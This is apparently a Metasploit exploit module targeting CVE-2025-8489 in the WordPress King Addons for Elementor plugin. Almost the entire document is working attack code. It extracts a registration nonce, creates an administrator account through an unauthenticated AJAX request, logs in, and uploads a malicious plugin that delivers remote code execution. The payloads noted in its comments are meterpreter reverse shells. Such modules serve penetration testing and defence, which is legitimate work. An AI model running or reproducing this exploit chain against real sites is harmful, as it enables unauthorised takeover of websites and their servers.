WordPress King Addons for Elementor Unauthenticated Privilege Escalation to RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress King Addons for Elementor Unauthenticated Privilege Escalation to RCE',
        'Description' => %q{
          This module exploits an unauthenticated privilege escalation vulnerability in the WordPress
          King Addons for Elementor plugin (versions 24.12.92 to 51.1.14). The vulnerability exists
          in the handle_register_ajax() function which allows unauthenticated attackers to specify
          the user_role parameter during registration, enabling them to create administrator accounts.

          This exploit requires a WordPress page containing the King Addons "Login Register Form"
          Elementor widget, which exposes the required nonce token in the page's JavaScript.
          The NONCE_PAGE option must be set to the path of such a page.

          Once an administrator account is created, the module uploads and executes a malicious
          plugin to achieve remote code execution (RCE).
        },
        'Author' => [
          'Peter Thaleikis',                             # Vulnerability discovery
          'Valentin Lobstein <[email protected]>'     # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-8489'],
          ['URL', 'https://www.wordfence.com/blog/2025/12/attackers-actively-exploiting-critical-vulnerability-in-king-addons-for-elementor-plugin/']
        ],
        'DisclosureDate' => '2025-10-30',
        'DefaultTarget' => 0,
        'Privileged' => false,
        'Targets' => [
          [
            'PHP In-Memory',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command Shell',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('NONCE_PAGE', [true, 'Path to page containing King Addons Login Register Form widget', '']),
        OptString.new('USERNAME', [true, 'Username to create', Faker::Internet.username]),
        OptString.new('PASSWORD', [true, 'Password for the new user', Faker::Internet.password(min_length: 8)]),
        OptString.new('EMAIL', [true, 'Email for the new user', Faker::Internet.email])
      ]
    )
  end

  def check
    return CheckCode::Unknown('Target does not appear to be running WordPress') unless wordpress_and_online?

    plugin_check = check_plugin_version_from_readme('king-addons', '51.1.35', '24.12.92')
    return plugin_check if plugin_check == CheckCode::Safe

    @nonce = find_nonce
    return CheckCode::Detected('Could not find nonce on specified page') unless @nonce

    CheckCode::Appears('The target appears to be a vulnerable version')
  end

  def exploit
    fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?

    user_existed = create_admin_user(datastore['USERNAME'], datastore['PASSWORD'], datastore['EMAIL'])

    admin_cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
    unless admin_cookie
      msg = 'Failed to log in to WordPress admin.'
      msg += ' User may exist with a different password.' if user_existed
      fail_with(Failure::UnexpectedReply, msg)
    end

    upload_and_execute_payload(admin_cookie)
  end

  private

  def find_nonce
    nonce_page = normalize_uri(target_uri.path, datastore['NONCE_PAGE'])
    res = send_request_cgi('method' => 'GET', 'uri' => nonce_page)
    return nil unless res&.code == 200

    doc = res.get_html_document
    return nil unless doc

    script_nodes = doc.xpath('//script[contains(text(), "king_addons_login_register_vars")]')

    script_nodes.each do |script_node|
      nonce = extract_nonce_from_script(script_node.text)
      return nonce if nonce
    end

    vprint_warning('Could not find nonce')
    nil
  end

  def extract_nonce_from_script(script_content)
    match = script_content.match(/king_addons_login_register_vars\s*=\s*({[^;]+})/)
    return nil unless match

    json_data = begin
      JSON.parse(match[1].gsub('\/', '/'))
    rescue StandardError
      nil
    end
    return nil unless json_data.is_a?(Hash)

    nonce = json_data['register_nonce']
    return nil unless nonce.is_a?(String) && !nonce.empty?

    vprint_status("Found nonce: #{nonce}")
    nonce
  end

  def send_registration_request(username:, email:, password:, user_role: 'administrator')
    @nonce ||= find_nonce
    fail_with(Failure::NotFound, 'Could not find nonce on specified page') unless @nonce

    send_request_cgi(
      'method' => 'POST',
      'uri' => wordpress_url_admin_ajax,
      'vars_post' => {
        'action' => 'king_addons_user_register',
        'nonce' => @nonce,
        'username' => username,
        'email' => email,
        'password' => password,
        'confirm_password' => password,
        'user_role' => user_role,
        'terms_required' => 'no'
      }
    )
  end

  def create_admin_user(username, password, email)
    res = send_registration_request(username: username, email: email, password: password)
    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.')
    end

    json = res.get_json_document
    unless json.is_a?(Hash)
      fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.')
    end

    if json['success'] == false && json.dig('data', 'message')&.match?(/already exists|username.*taken|user.*exists/i)
      print_warning('User or email already exists, attempting login with provided credentials...')
      return true
    end

    if json['success'] == true
      return false
    end

    fail_with(Failure::UnexpectedReply, "Unexpected response: #{res.body}")
  end

  def upload_and_execute_payload(admin_cookie)
    plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
    payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}"

    zip = generate_plugin(plugin_name, payload_name)
    fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)

    register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
    register_dir_for_cleanup("../#{plugin_name}")
    payload_file = "#{payload_name}.php"
    payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, payload_file)
    send_request_cgi('uri' => payload_uri, 'method' => 'GET')
  end
end